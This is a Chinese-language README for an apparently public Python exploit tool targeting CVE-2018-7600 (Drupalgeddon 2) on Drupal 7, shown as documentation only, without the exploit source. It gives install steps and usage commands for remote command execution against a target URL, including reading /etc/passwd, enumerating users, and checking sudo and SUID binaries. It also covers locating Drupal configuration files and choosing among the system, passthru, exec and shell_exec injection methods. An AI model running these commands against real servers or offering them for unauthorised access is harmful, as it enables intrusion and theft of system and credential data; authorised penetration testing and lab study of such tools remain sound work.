🔥 Drupalgeddon 2 漏洞利用工具 — bixi.py
📖 简介
bixi.py 是一个针对 CVE‑2018‑7600 (Drupalgeddon 2) 漏洞的利用工具,该漏洞影响 Drupal 7。
它通过直观的界面和预定义命令,实现对易受攻击的 Drupal 服务器的远程命令执行 (RCE)。
⚠️ 免责声明 / 法律声明
本软件仅用于受控环境下的教育和研究目的。
- 仅允许在您拥有或获得书面许可的系统上使用
- 未经授权的使用是非法的,可能导致刑事后果
- 作者不对本工具的滥用行为承担任何责任
- 请始终遵守当地和国际网络安全法律法规
"能力越大,责任越大"
📋 功能特点
- ✅ 自动利用 CVE‑2018‑7600
- ✅ 适用于 Linux 和 Windows 的预定义命令
- ✅ 多种注入方法(
system、passthru、exec、shell_exec)
- ✅ 带帮助系统的直观界面
- ✅ 健壮的错误处理和超时机制
- ✅ 格式化且易读的输出
🚀 快速安装
1. 克隆仓库
git clone https://github.com/bixiPRO/Drupalgeddon2-CVE-2018-7600.git
cd Drupalgeddon2-CVE-2018-7600
2. 安装依赖
# Kali / Debian / Ubuntu
sudo apt update
sudo apt install python3 python3-pip -y
pip3 install requests
# 其他发行版
pip3 install requests
3. 赋予执行权限
🎯 基本使用
查看完整帮助
通用语法
python3 bixi.py <URL> <命令/关键词> [注入类型]
实际示例
# 检查漏洞
python3 bixi.py http://10.99.99.6/drupal/ test
# 检测操作系统
python3 bixi.py http://10.99.99.6/drupal/ linux
python3 bixi.py http://10.99.99.6/drupal/ windows
# 枚举用户
python3 bixi.py http://10.99.99.6/drupal/ users_linux
python3 bixi.py http://10.99.99.6/drupal/ net_user
# 系统信息
python3 bixi.py http://10.99.99.6/drupal/ ifconfig
python3 bixi.py http://10.99.99.6/drupal/ ipconfig
# 自定义命令
python3 bixi.py http://10.99.99.6/drupal/ "cat /etc/passwd"
python3 bixi.py http://10.99.99.6/drupal/ "whoami /all"
📊 预定义关键词
🐧 Linux
🪟 Windows
🔧 渗透测试
| 命令 | 描述 |
|---|
| sudo | 检查 sudo 权限 |
| suid | 查找 SUID 二进制文件 |
| net_localgroup | 本地组 |
| drupal_config | 查找 Drupal 配置 |
|
🎨 注入方法
# system(默认)
python3 bixi.py http://target/ "whoami" system
# passthru
python3 bixi.py http://target/ "whoami" passthru
# exec
python3 bixi.py http://target/ "whoami" exec
# shell_exec
python3 bixi.py http://target/ "whoami" shell_exec
🏗️ 项目结构
drupalgeddon2-exploit/
│
├── bixi.py
├── README.md
├── requirements.txt
├── examples/
│ ├── linux_commands.txt
│ └── windows_commands.txt
└── screenshots/
├── help_screen.png
└── exploit_success.png
🔧 高级配置
代理(可选)
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
超时设置
修改默认超时值(15 秒):
添加新命令
编辑 get_command_for_keyword() 中的 commands 字典
🐛 故障排除
错误:No module named 'requests'
错误:Connection refused
# 检查连通性
ping TARGET_IP
# 检查 Drupal 路径
curl http://TARGET_IP/drupal/